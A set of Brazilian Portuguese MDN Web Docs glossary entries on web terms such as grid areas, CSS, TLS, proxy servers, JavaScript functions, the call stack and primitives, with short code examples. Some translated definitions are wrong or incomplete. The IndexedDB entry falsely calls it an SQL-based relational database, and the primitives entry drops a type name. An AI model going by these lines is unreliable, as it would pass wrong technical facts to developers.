{"title":"Grid Areas - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Grid Areas\n==========\n\nUm **grid area** é um ou mais grid cells (en-US) que compõem uma área retangular do grid. As Grid Areas quando se coloca um item usando line-based placement (en-US) (posicionamento baseado em colunas e linha)ou quando define áreas usando named grid areas (en-US)(substituindo o nome).\n\n![Image showing a highlighted grid area](/pt-BR/docs/Glossary/Grid_Areas/1_grid_area.png)\n\nÁreas do Grid devem ser de natureza regutangular; não é possível criar por exemplo uma área de grid em forma de T ou L .\n\nNo exemplo abaixo temos um grid contêiner com dois items de grid, nomeamos esses com a propriedade `grid-area` (en-US) e em seguida colocamos eles no grid usando `grid-template-areas` (en-US). Isso cria duas áreas de grid, uma cobrindo 4 áreas do grid e a outra duas áreas do grid.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-template-rows: 100px 100px;\n  grid-template-areas:\n    \"a a b\"\n    \"a a b\";\n}\n.item1 {\n  grid-area: a;\n}\n.item2 {\n  grid-area: b;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"item1\">Item</div>\n  <div class=\"item2\">Item</div>\n</div>\n```\n\nSaiba Mais\n----------\n\n### Property reference\n\n* `grid-template-columns`\n* `grid-template-rows`\n* `grid-auto-rows` (en-US)\n* `grid-auto-columns` (en-US)\n* `grid-template-areas` (en-US)\n* `grid-area` (en-US)\n### Further reading\n\n* CSS Grid Layout Guide: *Basic concepts of grid layout*\n* CSS Grid Layout Guide: *Grid template areas (en-US)*\n* Definition of Grid Areas in the CSS Grid Layout specification"}
{"title":"CSS - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"CSS\n===\n\n**CSS** (Cascading Style Sheets) é uma linguagem declarativa que controla a apresentação visual de páginas web em um navegador. O navegador aplica as declarações de estilo CSS aos elementos selecionados para exibi-los apropriadamente. Uma declaração de estilo contem as propriedades e seus valores, que determinam a aparência de uma página web.\n\nCSS é uma das três principais tecnologias Web, junto com HTML e JavaScript. CSS normalmente estiliza Elementos HTML, mas também pode ser usada com outras linguagens de marcação como SVG ou XML.\n\nUma regra CSS é um conjunto de propriedades (en-US) associados a um seletor. Aqui está um exemplo que faz com que todos os parágrafos HTML fiquem amarelos num fundo preto:\n\n\n```css\n/\\* O seletor \"p\" indica que todos os paragrafos no documento serão afetados por essa regra \\*/\np {\n  /\\* A propriedade \"color\" define a cor do texto, neste caso amarelo. \\*/\n  color: yellow;\n\n  /\\* A propriedade \"background-color\" define a cor ao fundo, neste caso preto. \\*/\n  background-color: black;\n}\n```\n\n\n\"Cascading\" (\"em cascata\") se refere às regras que decidem como seletores são priorizados ao mudar a aparência de uma página. Isso é uma característica muito importante, já que um website complexo pode ter milhares de regras CSS.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Aprenda CSS\n* Cascading Style Sheets na Wikipedia\n### Referências técnicas\n\n* A documentação sobre CSS na MDN\n* O trabalho atual do CSS Working Group (Em inglês)\n### Aprenda CSS\n\n* Curso de web no Codecademy.com (Em inglês)\n* ~~Three Types of CSS~~ (Em inglês)"}
{"title":"Number - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Number\n======\n\nNo JavaScript, **Number** é um tipo de dado numérico no double-precision 64-bit floating point format (IEEE 754). Em outras linguagens de programação diferentes tipos numéricos podem existir, por exemplo: Integers (Inteiros), Floats (Pontos Flutuantes), Doubles (Dobros), ou Bignums.\n\nLeia mais\n---------\n\n### Conhecimento Geral\n\n* Inteiro\\_(ciência\\_da\\_computação) no Wikipédia\n* Bignum no Wikipédia\n* Ponto\\_flutuante no Wikipédia\n### Technical reference\n\n* The JavaScript data structure: Number\n* The JavaScript global object `Number`"}
{"title":"IPv6 - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"IPv6\n====\n\n**IPv6** é a versão mais atual do protocolo de comunicação subjacente da Internet. Lentamente o IPv6 está substituindo o IPv4, dentre outras razões porque o IPv6 permite vários endereços IPs diferentes.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* IPv6 na Wikipedia"}
{"title":"Domínio - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Domínio\n=======\n\nUm domínio é uma autoridade na internet que controla seus próprios recursos. Seu \"nome de domínio\" é uma forma de endereçar essa autoridade como parte da hierarquia de uma URL — normalmente a parte mais memorável dela, por exemplo por ser uma marca.\n\nUm nome de domínio totalmente qualificado (FQDN — sigla em inglês) contém todas as partes necessárias para pesquisar essa autoridade pelo seu nome, sem ambiguidade, usando o sistema DNS (en-US) da internet.\n\nPor exemplo, em \"developer.mozilla.org\":\n\n1. \"org\" é chamado de domínio de alto nível. Eles são registrados como um padrão da internet pela IANA - autoridade de atribuição de números da internet. Aqui \"org\" significa \"organização\" que está definido num *registro de domínio* de alto nível.\n2. \"mozilla\" é o domínio. Se você quiser ter um domínio, você precisa registrá-lo com algum dos muitos registrars - registradores que são quem tem permissão para fazer isso num registro de domínio de alto nível.\n3. \"developer\" é um \"sub-domínio\", algo que você como dono de um domínio pode definir sozinho. Muitos donos de domínio escolhem ter um subdomínio \"www\" apontando para o recurso World\\_Wide\\_Web (en-US), mas isso não é obrigatório (e tem caído em desuso).\nSaiba mais\n----------\n\n* Nome de domínio na Wikipedia"}
{"title":"caret - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"caret\n=====\n\nUm **caret** (às vezes chamado de \"cursor de texto\") é um indicador exibido na tela para indicar onde a entrada de texto será inserida. A maioria das interfaces de usuário representam o caret usando uma linha vertical fina ou uma caixa do tamanho de um caractere que pisca, mas isso pode variar. Este ponto do texto é chamado de **ponto de inserção.** A palavra \"*careta*\" diferencia o ponto de inserção de texto do cursor do mouse.\n\nNa web, um caret é usado para representar o ponto de inserção em `<input>` e `<textarea>` elementos, bem como quaisquer elementos cujo atributo `contenteditable` está definido, permitindo assim que o conteúdo do elemento seja editado pelo usuário.\n\nSaiba Mais\n----------\n\n### Conhecimento geral\n\n* Caret navigation no Wikipedia\n### CSS relacionado com o caret\n\nVocê pode definir a cor do caret para o conteúdo editável de um determinado elemento definindo a propriedade CSS `caret-color` (en-US) para o valor apropriado `<color>`\n\n### Elementos HTML que podem apresentar um caret\n\nEsses elementos fornecem campos de entrada de texto ou caixas e, portanto, fazem uso do caret.\n\n* `<input type=\"text\">` (en-US)\n* `<input type=\"password\">`\n* `<input type=\"search\">` (en-US)\n* `<input type=\"date\">`, `<input type=\"time\">`, `<input type=\"datetime\">` (en-US) e `<input type=\"datetime-local\">` (en-US)\n* `<input type=\"number\">` (en-US), `<input type=\"range\">`\n* `<input type=\"email\">` (en-US), `<input type=\"tel\">` (en-US) e `<input type=\"url\">` (en-US)\n* `<textarea>`\n* Qualquer elemento com seu conjunto de atributo `contenteditable`."}
{"title":"Bandwidth - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Bandwidth\n=========\n\nLargura de banda é a medida de quanta informação pode trafegar através de uma conexão de dados, em um determinado espaço de tempo. É geralmente medida em multiplos de bits por segundo (bps), por exemplo megabits por segundo (Mbps) ou gigabits por segundo (Gbps).\n\nLearn more\n----------\n\n* Bandwidth on Wikipedia"}
{"title":"accent - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"accent\n======\n\nUm **accent** é uma cor tipicamente brilhante que contrasta com as cores de fundo e de primeiro plano mais utilitárias dentro de um esquema de cores. Estes estão presentes no estilo visual de muitas plataformas (embora não todas).\n\nNa web, um acento às vezes é usado em elementos `<input>` para a parte ativa do controle, por exemplo, o plano de fundo de uma caixa de seleção marcada.\n\nVeja tmbém\n----------\n\n### CSS relacionado ao **accent**\n\nVocê pode definir a cor do `accent` para um determinado elemento definindo a propriedade CSS `accent-color` (en-US) do elemento para o valor `<color>` apropriado."}
{"title":"Operador - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Operador\n========\n\n**Sintaxe** reservada que consiste em pontuação ou caracteres alfanuméricos que executam a funcionalidade incorporada. Por exemplo, em JavaScript, o operador de adição (\"+\") soma números juntos e concatena strings, enquanto o operador \"não\" (\"!\") nega uma expressão — por exemplo, fazendo uma declaração `verdadeira` retornar `falso`.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Operadores (programação de computadores) na Wikipedia (em inglês)\n### Referência técnica\n\n* Operadores JavaScript"}
{"title":"ECMA - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"ECMA\n====\n\n**Ecma International** (oficialmente *Associação Européia dos Fabricantes de Computadores*) é uma organização sem fins lucrativos que desenvolve os padrões para hardware de computadores, comunicações e linguagens de programação.\n\nNa web ela é famosa por ser a organização que mantém a especificação ECMA-262 (também conhecida por ECMAScript (en-US)), que é a especificação núcleo para a linguagem JavaScript.\n\nAprenda mais\n------------\n\n* Ecma International na Wikipedia\n* Site do Ecma International"}
{"title":"Servidor - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Servidor\n========\n\nUm servidor hardware é um computador compartilhado em uma rede que provê serviços a clientes. Um servidor software é um programa que provê serviços a programas clientes.\n\nOs serviços são providos normalmente pela rede local ou por redes remotas. Programas cliente e servidor tradicionalmente se conectam enviando mensagens por meio de um protocolo.\n\nOs servidores mais comuns numa rede local são os de arquivos, nomes, emails, impressoras e fax. Outro exemplo comum de servidor é o de páginas da web conectado à Internet. Os minicomputadores, mainframes e super computadores nas centrais de dados também são servidores.\n\nAprenda mais\n------------\n\n### Conhecimentos Gerais\n\n* Introdução aos servidores\n* Servidor na Wikipedia"}
{"title":"ARIA - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"ARIA\n====\n\n**ARIA** (*Accessible Rich Internet Applications*) é uma especificação do W3C para adicionar semântica e outros metadados ao HTML para atender aos usuários de tecnologia assistiva.\n\nPor exemplo, você pode adicionar o atributo `role=\"alert\"` para um `<p>` tag para notificar um usuário com deficiência visual que a informação é importante e sensível ao tempo (que você poderia transmitir através da cor do texto).\n\nVeja também\n-----------\n\n* ARIA"}
{"title":"Teste de Fuzzing - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Teste de Fuzzing\n================\n\nO **Fuzzing** é uma técnica para testar o software usando ferramentas automáticas para fornecer entradas inválidas ou inesperadas para um programa ou função em um programa, logo verificando os resultados para ver se o programa falha ou age de forma inapropriada. Essa é uma forma importante para garantir que o software está estável, confiável e seguro, e nós usamos muito o fuzzing no Mozilla.\n\n* Postagens do blog do Jesse sobre fuzzing\n* Wikipedia: Fuzz testing\n* fuzzdb"}
{"title":"Pré-processador CSS - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Pré-processador CSS\n===================\n\nUm **pré-processador CSS** é um programa que permite você gerar CSS a partir de uma sintaxe (en-US) única desse pré-processador. Existem muitos pré-processadores CSS para escolha, no entanto, a maioria deles irá adicionar algumas funcionalidades extras que não existem no CSS puro, como um mixin, seletores aninhados, herança de seletores, e assim por diante. Essas funcionalidades fazem a estrutura do CSS mais legível e fácil de manter.\n\nPara usar um pré-processador, você deve instalar um compilador CSS no seu servidor web; Ou usar o pré-processador CSS para compilar no ambiente de desenvolvimento, e então fazer upload do arquivo CSS compilado para o servidor web.\n\n1. Alguns dos pré-processadores CSS mais populares:\n    1. Sass\n    2. LESS\n    3. Stylus\n    4. PostCSS\n2. MDN Web Docs Glossário\n    1. CSS"}
{"title":"Algoritmo - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Algoritmo\n=========\n\nUm algoritmo é uma série de instruções independentes que executam uma função."}
{"title":"TLS - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"TLS\n===\n\nTransport Layer Security (TLS), previamente conhecido como Secure Sockets Layer (SSL), é um protocolo usado por aplicativos para se comunicar de forma segura em toda a rede, evitando adulteração e espionagem no email, navegador, mensagens e outros protocolos.\n\nTodos os navegadores atuais suportam o protocolo TLS, exigindo que o servidor forneça um certificado digital (en-US) válido que confirme sua identidade para estabelecer uma conexão segura. É possível para ambos, o cliente e o servidor, se autentiquem mutuamente, se ambas partes providenciar seus próprios certificados digitais individuais.\n\n### Conhecimento geral\n\n* Transport Layer Security (en-US)\n* OWASP: Transport Layer Protection Cheat Sheet\n* Transport Layer Security na Wikipedia\n### Especificações\n\n* RFC 5246 (The Transport Layer Security Protocol, Version 1.2)"}
{"title":"Prototype - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Prototype\n=========\n\nA prototype é um modelo que exibe a aparência e o comportamento de um aplicativo ou produto no início do ciclo de vida do desenvolvimento.\n\nSee Inheritance and the prototype chain\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* Software Prototyping on Wikipedia"}
{"title":"Função - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Função\n======\n\nUma **função** **(function)** é um fragmento de código que pode ser invocado por outro código, por si mesmo ou uma variável que se refere à função. Quando uma função é invocada, o argumento é passado para a função como input (entrada) e a função pode opcionalmente retornar um output (saída). Uma função em JavaScript também é um objeto.\n\nO nome da função é um identificador declarado como parte de uma declaração de função ou expressão de função. O nome da função escopo depende se o nome da função é uma declaração ou expressão.\n\n### Diferentes tipos de funções\n\nUma **função anônima** é uma função sem o nome da função:\n\n\n```js\nfunction () {};\n// or using the ECMAScript 2015 arrow notation\n() => {};\n```\n\n\nUma **função nomeada** é uma função com o nome da função:\n\n\n```js\nfunction foo() {}\n// or using the ECMAScript 2015 arrow notation\nconst foo = () => {};\n```\n\n\nUma **função interna** é uma função dentro de outra função (`square` nesse caso). Uma **função externa** é uma função contendo uma função (`addSquares` nesse caso):\n\n\n```js\nfunction addSquares(a, b) {\n  function square(x) {\n    return x \\* x;\n  }\n  return square(a) + square(b);\n}\n//Using ECMAScript 2015 arrow notation\nconst addSquares = (a, b) => {\n  const square = (x) => x \\* x;\n  return square(a) + square(b);\n};\n```\n\n\nUma **função recursiva** é uma função que invoca a si mesma. Veja recursão.\n\n\n```js\nfunction loop(x) {\n  if (x >= 10) return;\n  loop(x + 1);\n}\n//Using ECMAScript 2015 arrow notation\nconst loop = (x) => {\n  if (x >= 10) return;\n  loop(x + 1);\n};\n```\n\n\nUma **Expressão de Função Invocada Imediatamente** (IIFE em Inglês) é uma função que é invocada diretamente após a função ser carregada no compilador do navegador. A maneira de identificar um IIFE é localizar os parênteses extra esquerdo e direito no final da declaração da função.\n\n\n```js\n// Error (https://en.wikipedia.org/wiki/Immediately-invoked\\_function\\_expression)\n/\\*\nfunction foo() {\n console.log('Hello Foo');\n}();\n\\*/\n\n(function foo() {\n  console.log(\"Hello Foo\");\n})();\n\n(function food() {\n  console.log(\"Hello Food\");\n})();\n```\n\n\nSe gostaria de saber mais sobre o IIFE, confira a seguinte página no Wikipédia : Immediately Invoked Function Expression\n\nLeia mais\n---------\n\n### Referência técnica\n\n* Funções\n* Funções Arrow"}
{"title":"IndexedDB - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"IndexedDB\n=========\n\nIndexedDB é uma API de web para armazenar volumosas estruturas de dados dentro dos navegadores e indexá-los para buscas de alta performance. Sendo um RDBMS baseado em SQL (en-US), IndexedDB é um sistema de banco de dados transacionais. Porém ele usa objetos JavaScript ao invés de tabelas em colunas fixas para armazenar os dados.\n\nAprenda mais\n------------\n\n* The IndexedDB API no MDN\n* A especificação W3C para o IndexedDB"}
{"title":"Propriedade - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Propriedade\n===========\n\nO termo **propriedade** **(property)** pode ter diversos siginificados depenedendo do contexto. Ele pode se referir a:\n\nPropriedade (CSS)\nUma **propriedade CSS** é uma característica (como a cor) cujo valor define o aspecto de como o navegador deve exibir o elemento.\nPropriedade (JavaScript)\nUma **propriedade Javascript** é uma característica de um objeto, frequentemente descrita como atributos associados à uma estrutura de dados."}
{"title":"Cabeçalho Genérico - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Cabeçalho Genérico\n==================\n\nUm **cabeçalho genérico** é um  cabeçalho HTTP (en-US) que pode ser de mensagens de solicitação e resposta, mas isso não é aplicado ao seu conteúdo. De acordo com o contexto em que são usados, podem ser cabeçalho de resposta (en-US) ou de Requisição. Entranto, não são cabeçalhos de entidade.\n\nO uso mais comum para cabeçalho genérico é `Date`, `Cache-Control` or `Connection`."}
{"title":"Proxy server - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Proxy server\n============\n\nUm **servidor proxy** é um computador ou programa intermediário usado ao navegar em conexões de internet diferentes. Eles facilitam o acesso ao conteúdo na rede mundial de computadores. Um proxy intercepta pedidos e exibe respostas; pode encaminhar os pedidos, ou não (por exemplo no caso de uma cache), e pode modificá-los (por exemplo alterando cabeçalhos, no limite entre duas redes)\n\nUm proxy pode estar no computador local do usuário, ou em qualquer lugar entre o computador do usuário e um servidor de destino na internet. Em geral, existem dois tipos principais de servidores proxy:\n\n* Um **proxy de encaminhamento** que lida com pedidos de e para qualquer lugar na internet.\n* Um **proxy reverso** que recebe pedidos da Internet e os encaminha para servidores numa rede interna.\nAprenda Mais\n------------\n\n* Servidores proxy e túneis (en-US)\n* Proxy em Wikipedia"}
{"title":"Mutável - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Mutável\n=======\n\n*Mutável* é o tipo da variável que pode ser alterada. Em JavaScript, somente objetos e arrays são mutáveis, valores primitivos não.\n\n(Você *pode* fazer o nome da variável apontar para um novo valor, mas o valor anterior continua na memória. Logo, a necessidade da coleta de lixo, \"garbage collection\")\n\nUm **objeto mutável** é um objeto cujo estado pode ser modificado após sua criação.\n\n**Imutáveis** são os objetos cujo o estado **não** podem ser mudados uma vez criados.\n\n**Strings e Numbers são imutáveis**. Vamos entender isso com um exemplo:\n```\n\nvar stringImutavel = 'Hello';\n\n// No código acima, um novo objeto com o valor string é criado.\n\nstringImutavel = stringImutavel + 'World';\n\n// Agora nós estamos anexando 'World' ao valor existente.\n```\n\n\nAo anexar a 'stringImutavel' com um valor de string, os seguintes eventos ocorrem:\n\n1. O valor existente de 'stringImutavel' é recuperado.\n2. 'World' é anexado ao valor existente de 'stringImutavel'.\n3. O valor resultante é então alocado para um novo bloco na memória.\n4. O objeto 'stringImutavel' agora aponta para um novo espaço de memória criado.\n5. O espaço de memória criado anteriormente está habilitado para a coleta de lixo.\nAprenda mais\n------------\n\n### Conhecimentos gerais\n\n* Objeto Mutavel"}
{"title":"OOP - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"OOP\n===\n\n**OOP** (Object-Oriented Programming) é uma abordagem na programação em qual os dados são encapsulados em **objects** e o proprio objeto é operado, em vez de suas partes componentes.\n\nJavaScript é altamente orientado à objeto. Isto segue um modelo baseado em **prototypes** (as opposed to class-based).\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Object-oriented programming no Wikipedia\n* Introduction to object-oriented JavaScript (en-US)"}
{"title":"Semântica - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Semântica\n=========\n\nNa programação, a **Semântica** se refere ao *significado* de um trecho de código — por exemplo, \"que efeito tem a execução dessa linha de JavaScript?\", Ou \"que finalidade ou função esse elemento HTML tem\" (em vez de \"como ele se parece?\").\n\nSemântica em JavaScript\n-----------------------\n\nEm JavaScript, considere uma função que aceita um parâmetro de string e retorne um elemento `<li>` com essa string como seu `textContent`. Você precisaria examinar o código para entender o que a função fazia se fosse chamada `build('Peach')`, ou `createLiWithContent('Peach')`?\n\nSemântica em CSS\n----------------\n\nNo CSS, considere criar uma lista com elementos `li` representando diferentes tipos de frutas. Você saberia qual parte do DOM está sendo selecionada com `div > ul > li`, ou `.fruits__item`?\n\nSemântica em HTML\n-----------------\n\nEm HTML, por exemplo, o `<h1>` (en-US) é um elemento semântico, que fornece o texto que envolve a representação (ou o significado) de \"um cabeçalho de nível superior em sua página\".\n\n\n```html\n<h1>This is a top level heading</h1>\n```\n\n\nPor padrão, a maioria das folhas de estilo do agente do usuário (en-US) do navegador, estilizará um `<h1>` (en-US) com um tamanho de fonte grande para parecer um título (embora você possa estilizá-lo como quiser).\n\nPor outro lado, você pode fazer qualquer elemento parecer um cabeçalho de nível superior. Considere o seguinte:\n\n\n```html\n<span style=\"font-size: 32px; margin: 21px 0;\"\n >Is this a top level heading?</span\n>\n```\n\n\nIsso fará com que pareça um cabeçalho de nível superior, mas não tem valor semântico. Portanto, não obterá nenhum benefício extra, conforme descrito acima. Assim, é uma boa idéia usar o elemento HTML certo, para o trabalho certo.\n\nO HTML deve ser codificado para representar a data que será preenchida e não com base em seu estilo de apresentação padrão. A apresentação (como deve ser) é de responsabilidade exclusiva do CSS.\n\nAlguns dos benefícios de se escrever a marcação semântica:\n\n* Os mecanismos de pesquisa considerarão seu conteúdo como palavras-chave importantes para influenciar os rankings de pesquisa da página (see SEO)\n* Os leitores de tela podem usá-lo como uma placa de sinalização para ajudar usuários com deficiência visual a navegar em uma página\n* Encontrar blocos de código importantes é significativamente mais fácil do que procurar `div`s sem fim, com ou sem classes de semântica ou de nome espaçado.\n* Sugira ao desenvolvedor o tipo de dados que serão preenchidos\n* A nomeação semântica reflete a nomeação adequada do elemento/componente personalizado\n\nAo abordar qual marcação usar, pergunte a si mesmo: \"Quais elementos melhor descrevem/representam os dados que vou preencher?\" Por exemplo, é uma lista de dados? ordenado, não ordenado? é um artigo com seções e uma parte de informações relacionadas? lista as definições? é uma figura ou imagem que precisa de legenda? deve ter um cabeçalho e rodapé, além do cabeçalho e rodapé em todo o site? etc.\n\nElementos semânticos\n--------------------\n\nEstes são alguns dos aproximadamente 100 elementos semânticos disponíveis:\n\n* `<article>`\n* `<aside>`\n* `<details>`\n* `<figcaption>`\n* `<figure>`\n* `<footer>`\n* `<header>`\n* `<main>`\n* `<mark>`\n* `<nav>`\n* `<section>`\n* `<summary>`\n* `<time>`\nSaiba mais\n----------\n\n* HTML element reference on MDN\n* Using HTML sections and outlines (en-US) on MDN\n* The meaning of semantics in computer science on Wikipedia\n* MDN Web Docs Glossary\n    + SEO\n* Some of semantic elements in HTML\n    + `<article>`\n    + `<aside>`\n    + `<details>`\n    + `<figcaption>`\n    + `<figure>`\n    + `<footer>`\n    + `<header>`\n    + `<main>`\n    + `<mark>`\n    + `<nav>`\n    + `<section>`\n    + `<summary>`\n    + `<time>`"}
{"title":"WebSockets - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"WebSockets\n==========\n\nWebSocket é um protocolo que permite persistir conexões TCP entre o servidor e o cliente de modo que se possa trocar dados a qualquer momento.\n\nQualquer aplicação de servidor ou cliente pode usar WebSocket, mas principalmente navegadores web e web servers. Através do WebSocket, servidores podem passar dados a um cliente sem um pedido prévio desse cliente, permitindo atualizações dinâmicas de conteúdo.\n\nLearn more\n----------\n\n### General knowledge\n\n* Websocket on Wikipedia\n### Technical reference\n\n* WebSocket reference on MDN\n### Learn about it\n\n* Writing WebSocket client applications (en-US)\n* Writing WebSocket servers"}
{"title":"Navegador Opera - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Navegador Opera\n===============\n\n**Opera** é o quinto navegador web mais usado, publicamente lançado em 1996 e inicialmente executando somente em Windows. Opera usa Blink (en-US) como seu mecanismo de layout desde 2013 (antes disso, Presto (en-US)). Opera também existe nas versões móveis e tablets.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* Opera na Wikipedia\n* Opera browser web site"}
{"title":"Polyfill - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Polyfill\n========\n\nUm polyfill é um pedaço de código (geralmente JavaScript na Web) usado para fornecer funcionalidades modernas em navegadores mais antigos que não o suportam nativamente.\n\nPor exemplo, um polyfill pode ser usado para imitar a funcionalidade de um elemento HTML Canvas no Microsoft Internet Explorer 7, usando um plugin Silverlight, ou imitar o suporte para unidades rem CSS, ou `text-shadow`, ou o que você quiser.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* O que é polyfill? (artigo em inglês de Remy Sharp, criador do termo)"}
{"title":"API - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"API\n===\n\nUma API (*Application Programming Interface*) é um conjunto de características e regras existentes em uma aplicação que possibilitam interações com essa através de um software - ao contrário de uma interface de usuário humana. A API pode ser entendida como um simples contrato entre a aplicação que a fornece e outros itens, como outros componentes do software, ou software de terceiros.\n\nNo desenvolvimento Web, uma API é geralmente um conjunto de methods (en-US) padronizados, properties, eventos, e URLs que um desenvolvedor pode usar em seus aplicativos para interagir com componentes do navegador da Web de um usuário ou outro software / hardware no computador do usuário ou sites e serviços de terceiros.\n\nExemplos\n--------\n\n* A API getUserMedia (en-US) pode ser usada para capturar áudio e vídeo da webcam de um usuário, que pode ser usada de qualquer maneira que o desenvolvedor goste, por exemplo, gravar vídeo e áudio, transmiti-lo para outro usuário em uma chamada em conferência ou capturar imagens do vídeo.\n* A API de geolocalização pode ser usada para recuperar informações de localização de qualquer serviço que o usuário tenha disponível em seu dispositivo (por exemplo, GPS), que pode ser usado em conjunto com as APIs do Google Maps para, por exemplo, traçar a localização do usuário em um mapa personalizado e mostrar a ele que atrações turísticas estão em sua área.\n* As APIs do Twitter podem ser usadas para recuperar dados de contas de twitter de um usuário, para por exemplo, exibir seus últimos tweets em uma página da web.\n* A API de animações da Web (en-US) pode ser usada para animar partes de uma página da web - por exemplo, para fazer imagens se movimentarem ou girarem.\nAprenda mais\n------------\n\nConhecimento geral\n------------------\n\n* API no Wikipedia\n### Referência técnica\n\n* Web API reference"}
{"title":"Call stack (Pilha de chamadas) - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Call stack (Pilha de chamadas)\n==============================\n\nA pilha de chamadas **(call stack)** é um mecanismo do interpretador de uma linguagem que organiza o funcionamento do script quando são chamadas muitas funções, qual função está sendo executada no momento, e quais serão chamadas dentro de alguma função, etc.\n\n* Quando o script chama a função, ela é adicionada à pilha de chamadas, e então é iniciado o carregamento da função.\n* Qualquer função chamada por essa função será adicionada à pilha de chamadas uma acima da outra.\n* Quando a função termina a execução, o interpretador retira a função da pilha e continua a execução do programa de onde parou.\n* Caso a pilha ocupar mais espaço do que foi separado a ela, será exibido um erro \"stack overflow\" (estouro de pilha).\nExemplo\n-------\n\n\n```js\nfunction saudacao() {\n  // [1] Algum código aqui\n  digaOi();\n  // [2] Algum código aqui\n}\nfunction digaOi() {\n  return \"Olá!\";\n}\n\n// Chamando a função `saudacao`\nsaudacao();\n\n// [3] Algum código aqui\n```\n\n\nO código acima será executado desta forma pelo interpretador:\n\n1. Todas as funções serão ignoradas, até chegar na chamada da função `saudacao()`.\n2. Adiciona a função `saudacao()` para a pilha de chamadas.\n\n\n**Nota:** Pilha de chamadas:\n - saudacao\n3. Executa todas as linhas de código da função `saudacao()`.\n4. Chama a função `digaOi()`.\n5. Adiciona a função `digaOi()` na pilha de chamadas.\n\n\n**Nota:** Pilha de chamadas:\n - `saudacao` > - digaOi\n6. Executa todas as linhas de código da função `digaOi()` até o final.\n7. Retorna a execução na linha onde foi chamada a função `digaOi()` e continua a execução do resto da função `saudacao()`.\n8. Deleta a função `digaOi()` da pilha de chamadas.\n\n\n**Nota:** Pilha de chamadas:\n - `saudacao`\n9. Quando todas as linhas da função `saudacao()` forem executadas, retorna para a linha onde a função foi invocada, e continua a execução do resto do código.\n10. Deleta a função `saudacao()` da Pilha de chamadas.\n\n\n**Nota:** Pilha de chamadas:\n EMPTY\n\nComeçamos com uma pilha de chamadas vazia, e sempre que chamamos uma função, ela é automaticamente adicionada à pilha de chamadas, e depois de todas as linhas serem executadas, é automaticamente removida da pilha de chamadas. No final, a pilha está vazia novamente.\n\nVeja mais\n---------\n\n### General knowledge\n\n* Call stack on Wikipedia\n* MDN Web Docs Glossary\n    + Call stack\n    + Function"}
{"title":"Primitivo - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Primitivo\n=========\n\nResumo\n------\n\nUm **primitivo** (valor primitivo, tipo de dados primitivo) é um dado que não é representado através de um Objeto e, por consequência, não possui métodos.\n\nEm detalhes\n-----------\n\nNa maior parte do tempo, um valor primitivo é representado diretamente através do mais baixo nível da implementação de uma linguagem.\n\nNo JavaScript, existem 6 tipos primitivos:\n\n* String\n* Number\n* Boolean\n* Null\n* undefined\n* Symbol (novo no ECMAScript (en-US) 6)\n\nTodos os primitivos são **imutáveis** (não podem ter o seu valor modificado).\n\n### Wrappers em JavaScript\n\n> \n> NT: O termo \"wrapper\" em português significa \"que envolve\". No entanto, em tecnologia, é comum se usar a versão em inglês que possui o mesmo significado.\n> \n> \n> \n\nÀ exceção do `null` e do `undefined`, todos os primitivos tem um objeto wrapper equivalente:\n\n* `String` para o primitivo string.\n* `Number` para o primitivo .\n* `Boolean` para o primitivo Boolean.\n* `Symbol` para o primitivo Symbol.\n\nO método valueOf() do objeto wrapper retorna o valor primitivo.\n\n> \n> NT: É possível verificar o tipo da variável digitando typeof+nomedavariavel. Para saber mais, verifique typeof.\n> \n> \n> \n\nReferências externas\n--------------------\n\n* Primitive data types on Wikipedia (em inglês)\n* Tipo de dado"}
